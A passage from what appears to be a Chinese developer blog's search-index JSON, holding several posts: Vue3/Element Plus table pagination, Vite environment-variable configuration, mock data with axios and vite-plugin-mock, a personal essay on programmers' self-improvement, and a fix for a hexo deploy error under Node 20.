\u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;是否置顶\u0026#34; width=\u0026#34;100\u0026#34; prop=\u0026#34;isTop\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;热度\u0026#34; width=\u0026#34;100\u0026#34; prop=\u0026#34;viewsCount\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;发布时间\u0026#34; width=\u0026#34;200\u0026#34; prop=\u0026#34;pubTime\u0026#34;\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;el-table-column label=\u0026#34;操作\u0026#34; \u0026gt; \u0026lt;template #default=\u0026#34;scope\u0026#34;\u0026gt; \u0026lt;el-button size=\u0026#34;mini\u0026#34; type=\u0026#34;danger\u0026#34; @click=\u0026#34;deleteItem(scope.$index)\u0026#34;\u0026gt;删除\u0026lt;/el-button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;/el-table-column\u0026gt; \u0026lt;/el-table\u0026gt; \u0026lt;div class=\u0026#34;pagination-container\u0026#34;\u0026gt; \u0026lt;el-pagination @size-change=\u0026#34;handleSizeChange\u0026#34; @current-change=\u0026#34;handleCurrentChange\u0026#34; :current-page=\u0026#34;pagination.currentPage\u0026#34; :page-sizes=\u0026#34;[10, 20, 30, 40]\u0026#34; :page-size=\u0026#34;pagination.pageSize\u0026#34; layout=\u0026#34;total, sizes, prev, pager, next, jumper\u0026#34; :total=\u0026#34;pagination.total\u0026#34;\u0026gt; \u0026lt;/el-pagination\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;style scoped\u0026gt; .pagination-container { margin-top: 20px; text-align: center; } \u0026lt;/style\u0026gt; \u0026lt;script\u0026gt; import {getBlogList,getBlogCategory} from \u0026#39;@/api\u0026#39; export default { data() { return { // 博客文章列表数据 postList:[], // 筛选博客的参数 queryParam:{ words:\u0026#34;\u0026#34;, cateid:\u0026#34;\u0026#34;, tag:\u0026#34;\u0026#34;, search:\u0026#34;\u0026#34;, page:1, size:10 }, // 分页 pagination: { currentPage: 1, // 当前页 pageSize: 10, // 每页显示条数 total: 0, // 总条数 layout: \u0026#39;total,sizes,prev, pager, next, jumper\u0026#39;, // 分页布局 }, // 博客分类 blogCategorys:[], // 当前选中的博客分类 selectCategory:\u0026#34;\u0026#34;, // 当前选中的博客文章 multipleSelection:[] } }, mounted () { this.getBlogList(); this.getBlogCategory(); }, // 路由更新时刷新数据 beforeRouteUpdate (to) { this.getBlogList(); this.getBlogCategory(); }, methods : { // 获取博客文章列表数据 getBlogList() { getBlogList(this.queryParam).then(res =\u0026gt; { this.postList = res.data.items this.pagination.total = res.data.total this.pagination.currentPage= res.data.page console.log(res.data) }).catch(err =\u0026gt; { console.log(err) }) }, // 获取博客分类数据 getBlogCategory() { getBlogCategory().then(res =\u0026gt; { this.blogCategorys = res.data console.log(res) }).catch(err =\u0026gt; { console.log(err) }) }, // 改变分页大小 handleSizeChange(val) { this.pagination.pageSize = val; this.queryParam.size = val; this.getBlogList(); }, // 跳到当前页 handleCurrentChange(val) { this.pagination.currentPage = val; this.queryParam.page = val; this.getBlogList(); }, // 切换Tab 刷新数据 handleClick(tab) { this.queryParam.cateid = tab.props.name this.getBlogList(); }, // 清空筛选项 clear() { this.queryParam.words=\u0026#34;\u0026#34; this.getBlogList(); }, } } \u0026lt;/script\u0026gt; 五、效果 表格展示及数据分页是前端开发常用的功能，通过vue3+elementplus能够快速是实现对数据的展示及分页。\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-09-01-vue3-elementplus%E7%9A%84%E8%A1%A8%E6%A0%BC%E5%B1%95%E7%A4%BA%E5%92%8C%E5%88%86%E9%A1%B5%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003eElement Plus 是一个基于 Vue 3 的现代化 UI 组件库，旨在帮助开发者快速构建美观且功能丰富的 Web 应用程序。它提供了大量的 UI 组件，如按钮、表单、表格、弹出框、标签页、树形控件等，涵盖了 Web 应用开发中常见的大多数场景。本文通过一个实例来说明vue3+elementplus查询、展示和分页实战。\u003c/p\u003e","title":"vue3+elementplus的表格展示和分页实战"},{"content":"在vue的实际项目中都要经过开发、测试、然后上生产的阶段，在开发、测试的过程中往往会要频繁的切换开发、测试、生产等不同的环境。每个环境的配置有可能不一样，本文介绍如何通过vue3+vite配置环境变量实现开发、测试、生产灵活便捷的切换。\n一、为什么需要区分 (dev)、测试 (test) 和生产 (prod) 环境 做过大型项目开发的都知道，每个项目都会要经历开发、测试、再到生产上线，一般在开发时候最常用到(development)开发环境、(production)生产环境、(test)测试环境。每个环境的配置可能都不太一样。\n开发环境：为开发人员提供一个安全的地方来进行编码和调试，不会影响到其他环境，一般来说开发人员在本地机器上运行和测试应用程序。 测试环境：用于测试，模拟生产环境，确保新功能在部署前能够正常工作，并且不会影响现有功能。 生产环境：是面向用户的最终环境，任何更改都必须经过严格的测试才能部署到这里，通常具有优化和最少的日志记录。 区分开发 (dev)、测试 (test) 和生产 (prod) 环境是软件开发中的一个最佳实践。不同的环境通常有不同的资源配置。典型的如vue所调用的后台接口数据，在开发平台可能是本地服务提供的接口、用于自动化测试可能是mock提供的数据、生产应该是正式环境提供的真实接口。\n二、vue3的项目如何通过配置方式区分不同的环境 vue3的项目可以通过vite的环境变量配置来进行不同环境的配置，可以参考vite的官方文档《环境变量和模式》 接下来，我们以一个实例来介绍在vue3的项目如何通过vite配置方式区分不同的环境。\n1、创建不同环境的.env文件 在vue3根目录下创建三个文件分别为.env.develoment、.env.test、.env.production 创建的文件需要.env开头\n2、在不同的.env文件中配置相应的环境变量 1）.env.develoment 1 2 3 NODE_ENV=\u0026#39;development\u0026#39; # API URL VITE_APP_API_URL=\u0026#39;http://localhost:8000\u0026#39; 2）.env.test 1 2 3 NODE_ENV=\u0026#39;test\u0026#39; # API URL VITE_APP_API_URL=\u0026#39;\u0026#39; 3）.env.production 1 2 3 NODE_ENV=\u0026#39;production\u0026#39; # API URL VITE_APP_API_URL=\u0026#39;http://iblog.ishareread.com\u0026#39; 这里我们主要通过VITE_APP_API_URL变量来区分不同的环境调用不同的接口，在开发环境调用本地接口http://localhost:8000 ，在测试环境用mock接口，在生产环境调用真实接口。\n3、在项目中使用环境变量 使用import.meta.env.VITE_APP_API_URL在axios请求中使用环境变量的配置来调用不同的接口。\n1 2 3 4 5 6 7 8 import axios from \u0026#39;axios\u0026#39; const api_rul = import.meta.env.VITE_APP_API_URL // create an axios instance const service = axios.create({ baseURL: api_rul, timeout: 5000 // request timeout }) export default service 查看调用的哪些环境变量，可以在在main.js打印console.log('环境变量：', import.meta.env);看一下 main.js\n1 2 3 4 5 6 7 import \u0026#39;./assets/main.css\u0026#39; import { createApp } from \u0026#39;vue\u0026#39; import App from \u0026#39;./App.vue\u0026#39; console.log(\u0026#39;环境变量：\u0026#39;, import.meta.env); createApp(App).mount(\u0026#39;#app\u0026#39;) 4、在package.json中定义运行项目的脚本命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 { \u0026#34;name\u0026#34;: \u0026#34;mocktest\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;0.0.0\u0026#34;, \u0026#34;private\u0026#34;: true, \u0026#34;type\u0026#34;: \u0026#34;module\u0026#34;, \u0026#34;scripts\u0026#34;: { \u0026#34;dev\u0026#34;: \u0026#34;vite\u0026#34;, \u0026#34;test\u0026#34;: \u0026#34;vite --mode test\u0026#34;, \u0026#34;build\u0026#34;: \u0026#34;vite build\u0026#34;, \u0026#34;preview\u0026#34;: \u0026#34;vite preview\u0026#34; }, \u0026#34;dependencies\u0026#34;: { \u0026#34;axios\u0026#34;: \u0026#34;^1.7.5\u0026#34;, \u0026#34;vue\u0026#34;: \u0026#34;^3.4.29\u0026#34; }, \u0026#34;devDependencies\u0026#34;: { \u0026#34;@vitejs/plugin-vue\u0026#34;: \u0026#34;^5.0.5\u0026#34;, \u0026#34;mockjs\u0026#34;: \u0026#34;^1.1.0\u0026#34;, \u0026#34;vite\u0026#34;: \u0026#34;^5.3.1\u0026#34;, \u0026#34;vite-plugin-mock\u0026#34;: \u0026#34;^3.0.2\u0026#34; } } 三、运行效果 开发环境运行npm run dev\n测试环境运行npm run test\n可以看出通过运行不同的命令通过环境变量区分了不同的运行环境，避免了不同环境去改代码去适配不同的环境。\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-08-25-vue3-vite%E9%85%8D%E7%BD%AE%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E5%AE%9E%E7%8E%B0%E5%BC%80%E5%8F%91%E6%B5%8B%E8%AF%95%E7%94%9F%E4%BA%A7%E7%9A%84%E5%8C%BA%E5%88%86/","summary":"\u003cp\u003e在vue的实际项目中都要经过开发、测试、然后上生产的阶段，在开发、测试的过程中往往会要频繁的切换开发、测试、生产等不同的环境。每个环境的配置有可能不一样，本文介绍如何通过vue3+vite配置环境变量实现开发、测试、生产灵活便捷的切换。\u003c/p\u003e","title":"vue3+vite配置环境变量实现开发、测试、生产的区分"},{"content":"在用Vue.js开发前端应用时通常要与后端服务进行交互，例如通过API接口获取数据，在后端服务接口还没有具备之前，可以通过mock(模拟)数据来进行开发。使用mock数据可以让前端开发人员独立于后端开发人员工作，加快开发速度。在没有真实数据的情况下，mock数据可以帮助开发者更快地看到UI的呈现效果和交互逻辑。\n本文通过vue3+vite+axios+mock来介绍如何实现Vue.js的前端应用从接口获取模拟数据。\n一、安装相关组件 1 2 npm install axios -S npm install mockjs vite-plugin-mock -D 其中axios 是一个基于 Promise 非常强大且灵活的 HTTP 客户端，适用于 Vue.js 应用程序中的数据获取和后端交互。它可以简化 HTTP 请求的处理，并提供丰富的功能来满足不同的需求。我们用axios来实现与接口服务的http请求。\nMock.js 是一个用于生成随机数据的 JavaScript 库，它主要用于前端开发过程中模拟后端接口数据。Mock.js 提供了一套简洁易用的 API，可以帮助开发者快速生成符合特定规则的假数据，从而在没有后端支持的情况下进行前端开发和测试。\nvite-plugin-mock 是一个专为 Vite 设计的插件，用于在 Vite 项目中模拟数据。它简化了使用 Mock.js 的过程，让开发者能够更加方便地管理模拟数据。\n简单来说，就是mock.js提供mock数据，通过vite-plugin-mock，将管理mock发布成服务，通过axios通过http请求接口的方式获取mock数据。\n安装相关组件后，在package.json中看到相关的组件信息\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package.json { \u0026#34;name\u0026#34;: \u0026#34;mocktest\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;0.0.0\u0026#34;, \u0026#34;private\u0026#34;: true, \u0026#34;type\u0026#34;: \u0026#34;module\u0026#34;, \u0026#34;scripts\u0026#34;: { \u0026#34;dev\u0026#34;: \u0026#34;vite\u0026#34;, \u0026#34;test\u0026#34;: \u0026#34;vite --mode test\u0026#34;, \u0026#34;build\u0026#34;: \u0026#34;vite build\u0026#34;, \u0026#34;preview\u0026#34;: \u0026#34;vite preview\u0026#34; }, \u0026#34;dependencies\u0026#34;: { \u0026#34;axios\u0026#34;: \u0026#34;^1.7.5\u0026#34;, \u0026#34;vue\u0026#34;: \u0026#34;^3.4.29\u0026#34; }, \u0026#34;devDependencies\u0026#34;: { \u0026#34;@vitejs/plugin-vue\u0026#34;: \u0026#34;^5.0.5\u0026#34;, \u0026#34;mockjs\u0026#34;: \u0026#34;^1.1.0\u0026#34;, \u0026#34;vite\u0026#34;: \u0026#34;^5.3.1\u0026#34;, \u0026#34;vite-plugin-mock\u0026#34;: \u0026#34;^3.0.2\u0026#34; } } 二、在vite.config.js中配置vite-plugin-mock插件 ● viteMockServe的相关配置\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import { fileURLToPath, URL } from \u0026#39;node:url\u0026#39; import { defineConfig } from \u0026#39;vite\u0026#39; import vue from \u0026#39;@vitejs/plugin-vue\u0026#39; import { viteMockServe } from \u0026#39;vite-plugin-mock\u0026#39; // https://vitejs.dev/config/ export default defineConfig({ plugins: [ vue(), // mock 数据的 dev环境 viteMockServe({ // supportTs: true, // 是否开启支持ts mockPath: \u0026#39;mock\u0026#39;, // 设置mockPath为根目录下的mock目录 localEnabled: true, // 设置是否监视mockPath对应的文件夹内文件中的更改 prodEnabled: false, // 设置是否启用生产环境的mock服务 watchFiles: true, // 是否监视文件更改 logger: true //是否在控制台显示请求日志 }), ], resolve: { alias: { \u0026#39;@\u0026#39;: fileURLToPath(new URL(\u0026#39;./src\u0026#39;, import.meta.url)) } } }) 在viteMockServe中指定了mockPath为mock也就是根目录下的mock目录，在该目录下的mock服务都会被发布成mock服务。\n三、实现mock服务 在根目录下新建mock目录在mock目录下新建mock文件实现mock服务，如app.js、user.js\napp.js代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 export default [{ url: \u0026#39;/mock/api/getApiInfo\u0026#39;, method: \u0026#39;get\u0026#39;, response: () =\u0026gt; { return { code: 200, title: \u0026#39;mock api test.\u0026#39; } } }, { url: \u0026#39;/api/category\u0026#39;, type: \u0026#39;get\u0026#39;, response: () =\u0026gt; { return { code: 200, data: [ { id: 1, title: \u0026#39;JAVA\u0026#39;, href: \u0026#39;/category/java\u0026#39; }, { id: 2, title: \u0026#39;SpringBoot\u0026#39;, href: \u0026#39;/category/SpringBoot\u0026#39;, }, { id: 3, title: \u0026#39;MySql\u0026#39;, href: \u0026#39;/category/MySql\u0026#39; }, { id: 4, title: \u0026#39;随笔\u0026#39;, href: \u0026#39;/category/live\u0026#39; } ] } } } ] 在app.js中我们并没有用mock生产数据，只是实现了mock服务放到了mock文件目录通过viteMockServe发布出来，后面可以通过axios调用获取。 user.js代码如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import Mock from \u0026#39;mockjs\u0026#39;; // 通过Mock生成模拟数据 const userdata = Mock.mock({ \u0026#39;list|10\u0026#39;: [ { \u0026#39;id|+1\u0026#39;: 1, \u0026#39;name\u0026#39;: \u0026#39;@cname\u0026#39;, \u0026#39;age|18-60\u0026#39;: 1, \u0026#39;email\u0026#39;: \u0026#39;@email\u0026#39;, }, ], }); export default [ { url: \u0026#39;/mock/api/getUserInfo\u0026#39;, method: \u0026#39;get\u0026#39;, response: () =\u0026gt; { return { code: 200, data: userdata } } }, ] 在user.js中，我们通过Mock生成模拟的用户列表数据\n四、调用api接口请求mock数据 方法一、直接使用axios 请求mock 数据 1 import axios from \u0026#39;axios\u0026#39; 在方法中通过axios.get()方法直接获取请求数据\n1 2 3 4 5 6 7 async getData() { await axios.get(\u0026#39;/mock/api/getApiInfo\u0026#39;).then(res =\u0026gt;{ console.log(res.data) this.msg = res.data.title } ) }, 方法二、对axios进行封装统一请求mock数据 建立一个service.js对axios进行封装，让后通过service.js来统一请求mock数据，这样做的好处是在切到真实接口的时候可以更加灵活 service.js的代码如下\n1 2 3 4 5 6 7 8 9 import axios from \u0026#39;axios\u0026#39; const api_rul = \u0026#39;\u0026#39; //mock 接口地址可以为空字符串，真实接口配置为真实的接口地址。 // create an axios instance const service = axios.create({ baseURL: api_rul, timeout: 5000 // request timeout }) export default service 通过一个统一的调用接口文件请求mock数据 如mockapi.js\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import service from \u0026#39;@/utils/service\u0026#39; export function getCategory() { return service({ url: \u0026#39;/api/category\u0026#39;, method: \u0026#39;get\u0026#39;, params: {} }) } export function getUserInfo() { return service({ url: \u0026#39;/mock/api/getUserInfo\u0026#39;, method: \u0026#39;get\u0026#39;, params: {} }) } 在methods中进行方法的调用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // 方法二：通过封装后的get方法获取数据 getUserInfo() { getUserInfo().then(res =\u0026gt;{ console.log(res.data) this.userinfo = res.data.data } ) }, getCategory() { getCategory().then(res =\u0026gt;{ console.log(res.data) this.categorys = res.data.data } ) } 在vue的组件中具体的调用和展示代码如下： HelloWorld.vue\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 \u0026lt;template\u0026gt; \u0026lt;h1\u0026gt;{{ msg }}\u0026lt;/h1\u0026gt; \u0026lt;div\u0026gt; 人员列表 \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li v-for=\u0026#34;(user) in userinfo.list\u0026#34; :key=\u0026#34;index\u0026#34;\u0026gt; {{ user.id }} : {{ user.name }} {{ user.age }} {{ user.email }} \u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; 目录 \u0026lt;/div\u0026gt; \u0026lt;div\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li v-for=\u0026#34;(category) in categorys\u0026#34; :key=\u0026#34;index\u0026#34;\u0026gt; {{ category.id }} : {{ category.title }} {{ category.href }} \u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script \u0026gt; import axios from \u0026#39;axios\u0026#39; import { getCategory,getUserInfo } from \u0026#39;../api/mockapi\u0026#39; export default { data() { return { msg: \u0026#39;Welcome to Your Vue.js App\u0026#39;, userinfo: {}, categorys: [] }; }, mounted() { this.getData() this.getUserInfo() this.getCategory() }, methods: { // 方法一：直接axios请求调用获取mock数据 async getData() { await axios.get(\u0026#39;/mock/api/getApiInfo\u0026#39;).then(res =\u0026gt;{ console.log(res.data) this.msg = res.data.title } ) }, // 方法二：通过封装后的get方法获取数据 getUserInfo() { getUserInfo().then(res =\u0026gt;{ console.log(res.data) this.userinfo = res.data.data } ) }, getCategory() { getCategory().then(res =\u0026gt;{ console.log(res.data) this.categorys = res.data.data } ) } } } \u0026lt;/script\u0026gt; 整个工程的目录结构说明如下：\n五、实际运行效果 可以看到分别用两种方式获取mock数据的效果，其中人员列表中的数据是mock生成的模拟数。\n博客地址：http://xiejava.ishareread.com/\n关注微信公众号,一起学习、成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-08-24-vue3-vite-axios-mock%E4%BB%8E%E6%8E%A5%E5%8F%A3%E8%8E%B7%E5%8F%96%E6%A8%A1%E6%8B%9F%E6%95%B0%E6%8D%AE%E5%AE%9E%E6%88%98/","summary":"\u003cp\u003e在用Vue.js开发前端应用时通常要与后端服务进行交互，例如通过API接口获取数据，在后端服务接口还没有具备之前，可以通过mock(模拟)数据来进行开发。使用mock数据可以让前端开发人员独立于后端开发人员工作，加快开发速度。在没有真实数据的情况下，mock数据可以帮助开发者更快地看到UI的呈现效果和交互逻辑。\u003c/p\u003e","title":"vue3+vite+axios+mock从接口获取模拟数据实战"},{"content":"在信息技术飞速发展的今天，越来越多的人进入到IT行业，也使得这个行业越来越卷。随着信息化普及进入尾声以及全球经济下行，IT行业也像传统的房地产行业一样哀鸿遍野，码农也像农民工一样转行的转行失业的失业。想要在这个行业里站住脚不被淘汰只能是不断的提升学习提升自己的能力，让自己成为不可替代才行。\n作为码农，如是今还有份稳定的工作，应该来说是幸运的，但也是很焦虑的。一方面不知道自己所负责的业务还能撑多久，公司还能撑多久；一方面还得要思考一旦失业不知道自己的技术水平还能不能找到合适的工作。作为社会人，只有有了对抗风险的本钱后，才会有底气，有了底气后才会不至于那么的焦虑。而底气来自两个方面一方面是有足够的钱；另一方面是有足够的能力。如果有足够的钱，像文艺复兴时期的大咖们被人包养，吃喝不愁，那我们可以不用焦虑，惬意的写代码那一定是很开心的；如果能力足够强，其实也不用担心，换个地方施展自己的能力而已。而我们的现状是既要幸幸苦苦赚钱维持自己的生活又要不断的学习来提升自己的能力适应这个不断发展的行业。\n如何在繁忙琐碎的编码工作与个人成长之间找到平衡，下面以我个人的经历来谈谈我的思考。对于码农来说，面临最大的两个问题是如何更好的利用时间和如何通过学习来提升自我的问题。\n一、如何更好的利用时间？ 在李笑来老师的《和时间做朋友》的书中讲到，其实时间是不可以管理的，每个人每天只有24小时，能够管理的是自己的精力，也就是把自己的关注力放到哪里。要学习，就应该把学习精力、注意力投入足够多的时间。对于我们来说最大的挑战来自手机，下班后很多同学报复性的休息放松，想起自己上班工作了，休息的时候一定得要彻底的放松，拿着手机刷抖音、打游戏、聊天不知不觉就到了深夜。为了避免长时间的玩手机，我的做法是到了一定时间把手机所有的应用都关闭，给自己一段没有手机打挠的时间，很多手机都提供的“禅定模式”，开启“禅定模式”后手机上除了接打电话，其他的应用都暂时不能用，除非退出“禅定模式”，通过这种方式让自己的注意力从手机上移开，放到看书和学习上来。在这里我常用的专注力APP是”Forest 专注森林“，它可以设置一段专注力时间，比如60分钟，如果60分钟你没有动手机就成功的种下了一颗健康的树，如果中途心痒痒玩了手机这个树就会蔫掉。可以按时间周期统计你的专注的时间。\n当然专注力是一方面，其实更重要的是我们应该有自控力的意识，有自我提升学习的意识。有了意识以后才会有行动。\n二、如何通过学习来提升自我？ 焦虑是因为面对残酷的社会竞争压力以及对自身能力的不自信。所以很多东西都想学，机器学习、网络安全、英语、写作等等。正因为焦虑，所以面临的困惑是什么都想学，什么都想学的结果是什么都没有学会。相信大多数人都有这样的经历，心想着要不断的提升自己，桌上摆了很多书，今天看几页这本书，明天翻几页那本书，看上去天天在看书，实际上一本书都没有看进去。看英语的时候在想应该多花点时间看看专业书，看专业书的时候在想英语也很重要，要不看会英语。实际就是有限的时间精力和无限的需要学习的知识之间的矛盾。尤其是专业领域，看了很多书，不能学以致用，看了就忘，感觉就是学了个寂寞。\n早几年我也有相同的困惑，认识到学习，目标非常重要，没有明确目标的学习到头来都是浪费时间。于是写了一篇《你有了一个目标，于是你有了一堆技能，而不是反过来》。其实道理大家都懂，要有目标，不忘初心，方得始终。但是对于个人来说目标其实并不好确定，大部分人来说其实也没有什么明确的目标，我的经验是在没有明确的目标的时候就把考证当做目标，以考促学。见《工作这么多年了，我为什么还在考证》。后来我意识到自我提升最核心的是要构建自己知识体系，我的目标是构建了自己的知识体系，能够利用自己的知识体系具备“成事”的能力。如何建立个人知识体系，借用网上的一张图。\n有了构建自己知识体系的大目标后，我把自己近几年需要巩固提升的方面做了一个学习地图，有了学习地图就像航海的地图一样，避免东一下西一下迷失方向。\n刘未鹏在他的《暗时间》中有个观点让我感触特别的深刻，意思是你所懂得的多少并不是在于你看了多少书而是取决于你思考有多深。“教是最好的学”、“书写是更好的思考”。为了践行“问题-\u0026gt;输入-\u0026gt;内化-\u0026gt;输出”，笃信写是为了更好的思考，坚持写作，力争更好的思考。我开启了自己的博客持续在CSDN和自己的博客上进行写作输出，将自己碰到的问题、经验、思考写出来，即帮助了大家又促进了自己，希望能和大家一起成长。\n博客地址：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-08-20-%E4%B8%8D%E5%BF%98%E5%88%9D%E5%BF%83%E6%96%B9%E5%BE%97%E5%A7%8B%E7%BB%88%E7%A0%81%E5%86%9C%E5%AE%9E%E7%8E%B0%E8%87%AA%E6%88%91%E6%8F%90%E5%8D%87%E7%9A%84%E5%BF%83%E6%B3%95%E4%B8%8E%E5%B7%A5%E5%85%B7/","summary":"\u003cp\u003e在信息技术飞速发展的今天，越来越多的人进入到IT行业，也使得这个行业越来越卷。随着信息化普及进入尾声以及全球经济下行，IT行业也像传统的房地产行业一样哀鸿遍野，码农也像农民工一样转行的转行失业的失业。想要在这个行业里站住脚不被淘汰只能是不断的提升学习提升自己的能力，让自己成为不可替代才行。\u003c/p\u003e","title":"不忘初心，方得始终，码农实现自我提升的心法与工具"},{"content":"最近升级了node.js的版本，升到了最新的稳定版本v20.16.0，结果发现在该版本下hexo部署报错失败。本文记录了node20+版本下hexo部署报错失败的解决办法。\n一、报错信息 执行hexo的deploy部署命令\n1 hexo d 具体报错信息如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 INFO Deploying: git INFO Clearing .deploy_git folder... INFO Copying files from public folder... FATAL Something\u0026#39;s wrong. Maybe you can find the solution here: https://hexo.io/docs/troubleshooting.html TypeError: mode must be int32 or null/undefined at copyFile (node:fs:3020:11) at tryCatcher (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\util.js:16:23) at ret (eval at makeNodePromisifiedEval (C:\\Users\\xiejava\\AppData\\Roaming\\npm\\node_modules\\hexo-cli\\node_modules\\bluebird\\js\\release\\promisify.js:184:12), \u0026lt;anonymous\u0026gt;:13:39) at D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\hexo-fs\\lib\\fs.js:144:39 at tryCatcher (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\util.js:16:23) at Promise._settlePromiseFromHandler (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:547:31) at Promise._settlePromise (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:604:18) at Promise._settlePromise0 (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:649:10) at Promise._settlePromises (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:729:18) at Promise._fulfill (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:673:18) at Promise._resolveCallback (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:466:57) at Promise._settlePromiseFromHandler (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:559:17) at Promise._settlePromise (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:604:18) at Promise._settlePromise0 (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:649:10) at Promise._settlePromises (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:729:18) at Promise._fulfill (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:673:18) at Promise._resolveCallback (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:466:57) at Promise._settlePromiseFromHandler (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:559:17) at Promise._settlePromise (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:604:18) at Promise._settlePromise0 (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:649:10) at Promise._settlePromises (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:729:18) at Promise._fulfill (D:\\CloudStation\\personal\\xiejavablog\\myhexo\\myblog\\node_modules\\bluebird\\js\\release\\promise.js:673:18) 遇到FATAL Something's wrong TypeError: mode must be int32 or null/undefined这类错误通常是在使用Hexo生成静态文件时出现的。这个问题通常与Hexo的一些插件不兼容或配置不当有关。\n二、解决办法 一般来说因为node.js和hexo存在版本适配的关系，所以当可能是一个版本过高一个版本过低导致的出现问题。 解决这个问题可以降低node.js的版本，可以将hexo更新至适配的高版本。这里介绍如何将hexo更新至适配的高版本。\n1、查看哪些包需要更新 1 npm outdated 通过npm outdated 列出了所有需要升级的组件包，这里还给出了npm也需要升级的信息，需要将npm从10.8.1升级到10.8.2，具体的升级命令是 npm install -g npm@10.8.2 执行 npm install -g npm@10.8.2 完成npm的升级\n2、升级更新需要升级的包 升级hexo和hexo-cli\n1 npm update hexo-cli hexo --latest 重新执行npm outdated 可以看到hexo 的版本从4.2.0升级到了4.2.1 重新执行hexo d，发现不报错了，并且可以成功部署。 这里还有hexo-abbrlink和hexo-generator-search 不是适配的版本，虽然不影响hexo部署，但也可以用同样的方法将其升为最新适配的版本。\n1 npm update hexo-abbrlink hexo-generator-search --latest 